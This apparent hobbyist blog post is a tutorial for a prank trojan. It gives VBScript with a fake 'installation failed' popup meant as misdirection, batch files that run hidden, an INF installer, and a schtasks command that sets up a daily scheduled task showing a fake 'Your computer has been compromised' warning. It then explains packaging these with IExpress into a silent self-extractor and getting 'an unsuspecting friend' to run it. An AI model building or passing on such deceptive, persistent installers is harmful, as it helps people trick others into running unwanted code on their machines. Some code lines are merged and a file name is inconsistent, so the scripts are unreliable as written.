The Daily Hacker 10/6/13: VBS Stands for Visual Brick-Shitting
This is the essential "virus," but on a much more legal level.
This is my favorite thing ever. You can have it run as a hidden process, but I love when you can use an executable. So, here's the executable.
First, open Notepad and type:
dim wshshell, codeset wshshell = wscript.createobject("wscript.shell")
code = wshshell.popup("This file has been corrupted. Would you like to continue?", 0, "Error", 2 + 48)
select case code
case 3 code = wshshell.popup("Installation has been aborted.", 0, "Error", 0 + 64)case 4 code = wshshell.popup("Retry failed.", 0, "Error", 0 + 16)
end select
Now, that was the .vbs file, which is used for the window. The point of it, though, is just misdirection; you present the file as something that you found that would interest the target, have them open the downloader, and this will display, telling them that the installation "failed." Of course, this isn't the case. It's simply downloaded whatever you wanted to be there, which, in this case, will be a scheduled task. But ignore that for right now. Save your work as installationpackage.vbs in C:\Temp. Again, if Temp's not there, make it. Now, open a new Notepad and type:
cscript //nologo c:\temp\installationpackage.vbs
@ exit
Save this little beauty as "installer.bat" in the same location as your .vbs file. It's the booter for your .vbs file, since starting it directly doesn't always work. Also, the @ isn't a handle - it's a flag to tell the command you're inputting to run hidden. In essence, the only place you can see it is the effect it has. You'll always want to put some form of "exit" in a batch file. In the following code, the brackets don't mean that you fill in whatever information you want; just type it. Open Notepad anew once more and type:
[Version]
Signature="$Chicago$"AdvancedINF=2.0
[DefaultInstall]
CopyFiles=install.files
RunPostSetupCommands=RunPostSetupCommandsSection
[DestinationDirs]
install.files=30,Temp
[install.files]
install.bat
installationpackage.vbs
setup.inf
[RunPostSetupCommandsSection]
install.bat
[SourceDisksNames]
1="default",,1
Now, save that in the same place as the other two files as "setup.inf." These are your three core files. YOU CANNOT DELETE THESE EVER. NEVER EVER. But now comes the funny bit. Open Notepad for the last time and type:
set wshshell = createobject("wscript.shell")
click = 0
while click <> 6
click = wshshell.popup("Your computer has been compromised. so sit back and let me do whatever the hell I want, because there's not much else you can do.", 0, "Security Notice", 4 + 32)
wend
And yes, that "wend" is spelled correctly and is supposed to be there. Save this as "registryvalues.vbs" in the same place. Now, we need to make sure this file goes along when we compile all of this. Go back to setup.inf and add registryvalues.vbs to the list of files under [install.files].
Okay, now we need to make a schtask (schedule task) to open registryvalues.vbs often, preferably daily. Whoops, I lied - this is the last time we'll be opening Notepad, so do it. Type:
schtasks /sc daily /tn securitynotice /tr C:\Temp\registryvalues.vbs /st 20:00:00
@ exit
Again, the "@ exit" isn't a handle, it's a hidden command. Now, the 20:00:00 is military time for 8 PM. You, however, can change this to whatever you want. No matter what you set the activation time as, save the file as "valuemanager.bat" and save it with the other files you've made.
Make sure all of the files that you've created are listed under [install.files] in the setup.inf file. Now, add valuemanager.bat with install.bat under [RunPostSetupCommandsSection]. The files listed under here are the ones that run when the compiler (which we'll make in a minute) is called.
Now, the compiler. If you're computer-savvy, you know that there's already a compiler program on your computer, but here's how to get to it anyways.
Type win+r (which is the key that has the Windows logo and the r key pressed at the same time) and enter in "iexpress".
Essentially, it's just a wizard. Follow these steps and you're good.
1) Select "Create New Self-Extraction Directive file".2) Select "Extract files and run an installation command".
3) Enter whatever title you'd like; it doesn't matter.
4) Select "no prompt".
5) Select "do not display a license".
6) Add all of your files. They're in C\Temp, or at least they should be.
7) Set the Install program to be setup.inf. Leave the bottom dropdown alone.
8) Select "Default".
9) Select "No message".
10) Enter this: C:\Temp\(yourtitle).exe
11) Select "No restart".
12) Select "Don't save".
13) Select "Next", then "Finish". We're done here.
All that needs to be done now is to get an unsuspecting friend to download the resulting program and run install.bat. After that, the security warning that we made will run at whatever time that you set until it's deleted. Happy trolling!
